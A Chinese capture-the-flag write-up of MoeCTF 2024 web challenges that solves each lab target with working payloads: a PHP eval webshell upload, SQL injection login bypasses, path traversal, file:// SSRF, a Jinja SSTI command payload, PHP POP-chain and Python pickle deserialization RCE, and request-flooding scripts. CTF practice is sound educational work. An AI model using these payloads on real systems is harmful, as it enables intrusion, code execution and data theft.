MoeCTF 2024 web

ProveYourLove

前端页面限制了重复提交, 需要绕过, 可以通过BurpSuite抓包爆破, 或者代码直接发包

import requestsurl='http://127.0.0.1:44395/questionnaire'data = {'nickname': '1','target': '1','message': '1','user_gender': 'male','target_gender': 'male','anonymous': 'false'
}for i in range(300):res = requests.post(url=url, json=data)print(res.json())

在这里插入图片描述

垫刀之路01: MoeCTF?启动!

可以直接执行命令, 题目提示了在环境中, 
env --> 直接得到flag

ImageCloud前置

payload:
?url=file:///etc/passwd题目提示了flag在 /etc/passwd里面, 直接使用file伪协议读取文件

垫刀之路02: 普通的文件上传

直接上传一句话木马, 命令执行<?=eval($_POST[1]);?>访问 /uploads/1.php
POST : 1=system("env");

垫刀之路03: 这是一个图床

上传1.php文件: <?php eval($_POST[1]);?>
抓包, 修改一下
Content-Type: image/pngPOST: 1=system("env");

垫刀之路04: 一个文件浏览器

点一些文件, 看到url的变化, 可以尝试目录穿越 --> ../
然后找flag
?path=../../../../tmp/flag哭死,找半天都没找到/tmp目录下去, 总是插肩而过

垫刀之路05: 登陆网站

用户名: admin123
密码: admin' or '1'='1

垫刀之路06: pop base mini moe

poc

<?php
class A{public $evil;public $a;
}class B{public $b;
}$c=new A();
$c->a=new B();
$c->evil='cat /flag';
$c->a->b='system';echo urlencode(serialize($c));

垫刀之路07: 泄漏的密码

给了pin码, 访问 /console 路由, 输入pin码, 进入, 执行代码

>>>import os;os.popen("ls").read()
'__pycache__\napp.py\nflag\ngetPIN.py\nstatic\ntemplates\n'
>>> os.popen("cat flag").read()
'moectf{DoNT_usINg-Flask_by_de6UG-m0D_aNd-IeAk_youR_Pin18}'

pop moe

<?phpclass class000 {private $payl0ad = 0;protected $what;public function __destruct(){$this->check();}public function check(){if($this->payl0ad === 0){die('FAILED TO ATTACK');}$a = $this->what;$a();}
}class class001 {public $payl0ad;public $a;public function __invoke(){$this->a->payload = $this->payl0ad;}
}class class002 {private $sec;public function __set($a, $b){$this->$b($this->sec);}public function dangerous($whaattt){$whaattt->evvval($this->sec);}}class class003 {public $mystr;public function evvval($str){eval($str);}public function __tostring(){return $this->mystr;}
}if(isset($_GET['data']))
{$a = unserialize($_GET['data']);
}
else {highlight_file(__FILE__);
}

poc

<?phpclass class000 {private $payl0ad = 1;public $what;   //new class001()
}
class class001{public $payl0ad;  //dangerouspublic $a; //new class002()}class class002{public $sec; //new class003()}
class class003{public $mystr;//phpinfo()}$a= new class000();
$a->what = new class001();
$a->what->a = new class002();
$a->what->payl0ad='dangerous';
$a->what->a->sec=new class003();
$a->what->a->sec->mystr='phpinfo();';echo urlencode(serialize($a));

静态网页

找一找, 点击换衣服,网络里面会多出几个get请求, 可以找到flag的一个路径

final1l1l_challenge.php

在这里插入图片描述

<?php
highlight_file('final1l1l_challenge.php');
error_reporting(0);
include 'flag.php';$a = $_GET['a'];
$b = $_POST['b'];
if (isset($a) && isset($b)) {if (!is_numeric($a) && !is_numeric($b)) {if ($a == 0 && md5($a) == $b[$a]) {echo $flag;} else {die('noooooooooooo');}} else {die( 'Notice the param type!');}
} else {die( 'Where is your param?');
}

数字加上字母绕过, 然后b数组传参a的md5值

?a=0q
b[0q]=189d32c1d8b08649849682bf9711b2be

电院_Backend

sql注入, or被过滤了, 用union select 绕过

123@qq.com' union select 1,2,3 # 

勇闯铜人阵

import re
from pydash import trim
import requests
from bs4 import BeautifulSoupurl1 = "http://127.0.0.1:47913/restart"
url2 = "http://127.0.0.1:47913/"sess = requests.session()
direct_list = ["北方", "东北方", "东方", "东南方", "南方", "西南方", "西方", "西北方"]def parse_status(html):bs = BeautifulSoup(html, "html.parser")coin = trim(bs.find('h1', id='status').text)# 一枚硬币if len(coin) == 1:return direct_list[int(coin) - 1]# 两枚硬币else:nums = re.findall(r'\d', coin)return direct_list[int(nums[0]) - 1] + '一个,' + direct_list[int(nums[1]) - 1] + '一个'if __name__ == "__main__":# restartsess.get(url=url1)# startbody = {"player": "sxrhhh","direct": "弟子明白",}r = sess.post(url=url2, data=body)# 循环for i in range(0, 5):payload = parse_status(r.text)body = {"player": "sxrhhh","direct": payload,}r = sess.post(url=url2, data=body)# 打印结果bs = BeautifulSoup(r.text, "html.parser")status = trim(bs.find('h1', id='status').text)print(status)

ImageCloud

app.py

from flask import Flask, request, send_file, abort, redirect, url_for
import os
import requests
from io import BytesIO
from PIL import Image
import mimetypes
from werkzeug.utils import secure_filenameapp = Flask(__name__)UPLOAD_FOLDER = 'static/'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDERALLOWED_EXTENSIONS = {'jpg', 'jpeg', 'png', 'gif'}uploaded_files = []def allowed_file(filename):return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS@app.route('/')
def index():return '''<h1>图片上传</h1><form method="post" enctype="multipart/form-data" action="/upload"><input type="file" name="file"><input type="submit" value="上传"></form><h2>已上传的图片</h2><ul>''' + ''.join(f'<li><a href="/image?url=http://localhost:5000/static/{filename}">{filename}</a></li>'for filename in uploaded_files) + '''</ul>'''@app.route('/upload', methods=['POST'])
def upload():if 'file' not in request.files:return '未找到文件部分', 400file = request.files['file']if file.filename == '':return '未选择文件', 400if file and allowed_file(file.filename):filename = secure_filename(file.filename)ext = filename.rsplit('.', 1)[1].lower()unique_filename = f"{len(uploaded_files)}_{filename}"filepath = os.path.join(app.config['UPLOAD_FOLDER'], unique_filename)file.save(filepath)uploaded_files.append(unique_filename)return redirect(url_for('index'))else:return '文件类型不支持', 400@app.route('/image', methods=['GET'])
def load_image():url = request.args.get('url')if not url:return 'URL 参数缺失', 400try:response = requests.get(url)response.raise_for_status()img = Image.open(BytesIO(response.content))img_io = BytesIO()img.save(img_io, img.format)img_io.seek(0)return send_file(img_io, mimetype=img.get_format_mimetype())except Exception as e:return f"无法加载图片: {str(e)}", 400if __name__ == '__main__':if not os.path.exists(UPLOAD_FOLDER):os.makedirs(UPLOAD_FOLDER)app.run(host='0.0.0.0', port=5000)

app2.py

from flask import Flask, request, send_file, abort, redirect, url_for
import os
import requests
from io import BytesIO
from PIL import Image
import mimetypes
from werkzeug.utils import secure_filename
import socket
import randomapp = Flask(__name__)UPLOAD_FOLDER = 'uploads/'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDERALLOWED_EXTENSIONS = {'jpg', 'jpeg', 'png', 'gif'}uploaded_files = []def allowed_file(filename):return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONSdef get_mimetype(file_path):mime = mimetypes.guess_type(file_path)[0]if mime is None:try:with Image.open(file_path) as img:mime = img.get_format_mimetype()except Exception:mime = 'application/octet-stream'return mimedef find_free_port_in_range(start_port, end_port):while True:port = random.randint(start_port, end_port)s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.bind(('0.0.0.0', port))s.close()return port @app.route('/')
def index():return '''<h1>图片上传</h1><form method="post" enctype="multipart/form-data" action="/upload"><input type="file" name="file"><input type="submit" value="上传"></form><h2>已上传的图片</h2><ul>''' + ''.join(f'<li><a href="/image/{filename}">{filename}</a></li>' for filename in uploaded_files) + '''</ul>'''@app.route('/upload', methods=['POST'])
def upload():if 'file' not in request.files:return '未找到文件部分', 400file = request.files['file']if file.filename == '':return '未选择文件', 400if file and allowed_file(file.filename):filename = secure_filename(file.filename)ext = filename.rsplit('.', 1)[1].lower()unique_filename = f"{len(uploaded_files)}_{filename}"filepath = os.path.join(app.config['UPLOAD_FOLDER'], unique_filename)file.save(filepath)uploaded_files.append(unique_filename)return redirect(url_for('index'))else:return '文件类型不支持', 400@app.route('/image/<filename>', methods=['GET'])
def load_image(filename):filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)if os.path.exists(filepath):mime = get_mimetype(filepath)return send_file(filepath, mimetype=mime)else:return '文件未找到', 404if __name__ == '__main__':if not os.path.exists(UPLOAD_FOLDER):os.makedirs(UPLOAD_FOLDER)port = find_free_port_in_range(5001, 6000)app.run(host='0.0.0.0', port=port)

app.py的端口是5000, app2.py的端口是5001-6000的随机一个
通过附件得知在 /uploads/目录下有一个 flag.jpg图片 应该就是flag所在

但是app.py只能访问到 /static/ 目录下的图片, 无法访问到 /uploads下的flag图片,
但是app2.py 里面 可以通过/image/<filename> 访问 /uploads 目录下的图片
但是app2.py运行的端口是不出网的, 无法直接访问
然后app.py里面的image路由下存在 url参数,随便上传一张图片, 可以发现它是这样去访问到图片的
?url=http://localhost:5000/static/0_huahua.png

所以就可以通过爆破出 app2.py运行的端口, 通过这个url参数去访问app2.py运行的服务

在这里插入图片描述

moectf{cetTebR@Te_YOU-aTtAck_To-mY_tMag3_CT0UdhHHHhH200}

who’s blog?

题目要去给一个id, 然后有回显 , 很容易想到 ssti, 直接用现成的一个payload就行
?id={{lipsum.__globals__['os'].popen('env').read()}}

PetStore

给了源码, 可以发现里面存在一个 pickle的反序列化, 可以进行利用执行命令

from flask import Flask, request, jsonify, render_template, redirect
import pickle
import base64
import uuidapp = Flask(__name__)class Pet:def __init__(self, name, species) -> None:self.name = nameself.species = speciesself.uuid = uuid.uuid4()def __repr__(self) -> str:return f"Pet(name={self.name}, species={self.species}, uuid={self.uuid})"class PetStore:def __init__(self) -> None:self.pets = []def create_pet(self, name, species) -> None:pet = Pet(name, species)self.pets.append(pet)def get_pet(self, pet_uuid) -> Pet | None:for pet in self.pets:if str(pet.uuid) == pet_uuid:return petreturn Nonedef export_pet(self, pet_uuid) -> str | None:pet = self.get_pet(pet_uuid)if pet is not None:self.pets.remove(pet)serialized_pet = base64.b64encode(pickle.dumps(pet)).decode("utf-8")return serialized_petreturn Nonedef import_pet(self, serialized_pet) -> bool:try:pet_data = base64.b64decode(serialized_pet)pet = pickle.loads(pet_data)if isinstance(pet, Pet):for i in self.pets:if i.uuid == pet.uuid:return Falseself.pets.append(pet)return Truereturn Falseexcept Exception:return Falsestore = PetStore()@app.route("/", methods=["GET"])
def index():pets = store.petsreturn render_template("index.html", pets=pets)@app.route("/create", methods=["POST"])
def create_pet():name = request.form["name"]species = request.form["species"]store.create_pet(name, species)return redirect("/")@app.route("/get", methods=["POST"])
def get_pet():pet_uuid = request.form["uuid"]pet = store.get_pet(pet_uuid)if pet is not None:return jsonify({"name": pet.name, "species": pet.species, "uuid": pet.uuid})else:return jsonify({"error": "Pet not found"})@app.route("/export", methods=["POST"])
def export_pet():pet_uuid = request.form["uuid"]serialized_pet = store.export_pet(pet_uuid)if serialized_pet is not None:return jsonify({"serialized_pet": serialized_pet})else:return jsonify({"error": "Pet not found"})@app.route("/import", methods=["POST"])
def import_pet():serialized_pet = request.form["serialized_pet"]if store.import_pet(serialized_pet):return redirect("/")else:return jsonify({"error": "Failed to import pet"})if __name__ == "__main__":app.run(host="0.0.0.0", port=8888, debug=False, threaded=True)

payload

import pickle
import base64
import os
class A:def __reduce__(self):return (exec, ("store.create_pet(__import__('os').popen('env').read(),1)",))store = A()
payload = pickle.dumps(store)
print(base64.b64encode(payload).decode())

传入payload, 刷新一下页面就行
在这里插入图片描述

参考文章

https://blog.csdn.net/qq_55038440/article/details/142826977

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/18939.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

使用WebHooks实现自动化工作流程的技术详解

&#x1f493; 博客主页&#xff1a;瑕疵的CSDN主页 &#x1f4dd; Gitee主页&#xff1a;瑕疵的gitee主页 ⏩ 文章专栏&#xff1a;《热点资讯》 使用WebHooks实现自动化工作流程的技术详解 文章目录 使用WebHooks实现自动化工作流程的技术详解引言WebHooks 的基本概念什么是…

如何通过低代码逻辑编排实现业务流程自动化?

随着数字化转型的加速&#xff0c;企业对高效、灵活的业务流程自动化需求日益增加。传统开发模式下的定制化解决方案往往周期长、成本高且难以适应快速变化的需求。低代码平台以其直观、简便的操作界面和强大的功能逐渐成为企业实现业务流程自动化的理想选择。本文将探讨低代码…

DNS记录类型详解(DNS Record Detailed Type)

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 本人主要分享计算机核心技…

分布式专题-Redis核心数据结构精讲

1. redis安装&#xff1a; redis.conf是redis启动配置文件&#xff1b; redis连接&#xff1a; 数据类型&#xff1a; redis命令&#xff1a; String类型&#xff1a; INCRBY orderId 1000 是 Redis 数据库中的一个命令&#xff0c;用于将存储在键 orderId 中的整数值增加 10…

原生微信小程序中封装一个模拟select 下拉框组件

1.首先在components 里面设置组件名称&#xff1a;van-select&#xff08;随便取名字&#xff09;&#xff1b; 2.新建文件写代码&#xff1a; wxml&#xff1a; <view class"w100 select_all_view"><!-- 标题&#xff0c;可以没有 --><view class…

C++小白实习日记——Day 1 怎么跑github上下载的程序

研二&#xff0c;通信专业&#xff0c;实习&#xff0c;记录一下实习经历 在本地服务器跑github代码&#xff1a; 第一天老板给了一个github上的小项目链接让我看&#xff1a; https://github.com/MengRao/tscns 用git clone 命令下载下来&#xff0c;文件夹下有这些&#…

C++设计模式行为模式———迭代器模式

文章目录 一、引言二、迭代器模式三、总结 一、引言 迭代器模式是一种行为设计模式&#xff0c; 让你能在不暴露集合底层表现形式 &#xff08;列表、 栈和树等&#xff09; 的情况下遍历集合中所有的元素。C标准库中内置了很多容器并提供了合适的迭代器&#xff0c;尽管我们不…

常用Adb 命令

# 连接设备 adb connect 192.168.10.125# 断开连接 adb disconnect 192.168.10.125# 查看已连接的设备 adb devices# 安装webview adb install -r "D:\webview\com.google.android.webview_103.0.5060.129-506012903_minAPI23(arm64-v8a,armeabi-v7a)(nodpi)_apkmirror.co…

Redis-08 Redis集群

Redis槽位 Redis分片 Redis集群优势 主要掌握第三种 为什么槽位是16384&#xff1f; 三主三从&#xff1a; 每个主机只能写在自己的槽位 所以登录redis集群记得加参数 -c 比如redis-cli -a dc123 -p 6380 -c 加了 -c 相当于会进行路由转发&#xff0c;不属于自己槽位的…

《Django 5 By Example》阅读笔记:p645-p650

《Django 5 By Example》学习第8天&#xff0c;p645-p650总结&#xff0c;总计6页。 一、技术总结 1.django-rest-framework (1)serializer p648, Serializer: Provides serialization for normal Python class instances。Serializer又细分为Serializer, ModelSerializer,…

设计模式-Adapter(适配器模式)GO语言版本

前言 个人感觉Adapter模式核心就在于接口之间的转换。将已有的一些接口转换成其他接口形式。并且一般用于对象上&#xff0c;而不是系统上 问题 就用一个简单的问题&#xff0c;懂数据结构的同学可能知道双端队列。那么就用双端队列实现一个栈&#xff08;stack&#xff09;或…

【Pythonr入门第二讲】你好,世界

"Hello, World!" 是一种传统的编程入门示例&#xff0c;通常是程序员学习一门新编程语言时编写的第一个程序。这个程序的目标非常简单&#xff1a;在屏幕上输出 "Hello, World!" 这个字符串。尽管它非常简单&#xff0c;但具有重要的象征意义和实际价值。 …

「OpenCV交叉编译」ubuntu to arm64

Ubuntu x86_64 交叉编译OpenCV 为 arm64OpenCV4.5.5、cmake version 3.16.3交叉编译器 gcc-arm-10.2-2020.11-x86_64-aarch64-none-linux-gnu 可在arm或linaro官网下载所需版本&#xff0c;本文的交叉编译器可点击链接跳转下载 Downloads | GNU-A Downloads – Arm Developer L…

PointNet++项目分析

好的&#xff0c;下面是每个文件和目录的详细说明&#xff1a; - **E:\Pointnet_Pointnet2_pytorch\-p**&#xff1a;这看起来像是命令行中的一个参数&#xff0c;而不是实际的文件&#xff0c;可能是误列。 - **E:\Pointnet_Pointnet2_pytorch\.gitattributes**&#xff1a;定…

聚焦 AUTO TECH 2025华南展:探索新能源汽车发展新趋势

随着“新四化”浪潮的推进&#xff0c;汽车行业正经历前所未有的变革。中国新能源汽车正逐渐走向世界。国内汽车制造巨头如比亚迪、吉利、奇瑞、长安等&#xff0c;已经将出口提升至核心战略地位。中国新能源汽车的发展&#xff0c;不仅推动了全球汽车产业的电动化转型&#xf…

JavaEE-网络编程(2)

目录 1. TCP的socket api 1.1 ServerSocket 1.2 Socket 1.3 关于连接 2. 写一个TCP回显服务器 代码的基本结构 2.1.建立连接 2.2 使用 try catch 语法 2.3 对操作流进行封装 2.4 使用 flush() 冲刷缓冲区 2.5 用 close() 关闭对客户端的连接 2.6 println 和 hasnex…

2.5D视觉——Aruco码定位检测

目录 1.什么是Aruco标记2.Aruco码解码说明2.1 Original ArUco2.2 预设的二维码字典2.3 大小Aruco二维码叠加 3.函数说明3.1 cv::aruco::detectMarkers3.2 cv::solvePnP 4.代码注解4.1 Landmark图说明4.2 算法源码注解 1.什么是Aruco标记 ArUco标记最初由S.Garrido-Jurado等人在…

云厂商双十一,无新可拉

失去意义的促销秀。 作者|文昌龙 编辑|杨舟 与电商平台双十一的“低价诱惑”和套路满满不同&#xff0c;云市场的双十一更像是一个买方市场&#xff0c;客户牢牢掌握主导权&#xff0c;厂商不得不低头争抢每一位潜在客户。 电商平台「双11」的本质&#xff0c;初始来看&…

Spring Boot出现java: 错误: 无效的源发行版:16的解决方式

第一步&#xff1a; 修改为SDK的目标字节码版本 第二步&#xff1a;CtrlShiftAltS进入项目结构 第三步&#xff1a;pom.xml文件中 在网上搜索和自己SDK适配的Springboot版本&#xff0c;1.8对应的是2.7.1&#xff08;可以用&#xff09; 修改Java版本为1.8 最后的最后&a…

删除k8s 或者docker运行失败的脚本

vi delete_exited_containers.sh#!/bin/bash# 列出所有停止的容器并存储到数组 list_exited_containers() {echo -e "\nStopped containers:"containers()# 获取停止的容器信息并存入数组while IFS read -r line; docontainers("$line")done < <(do…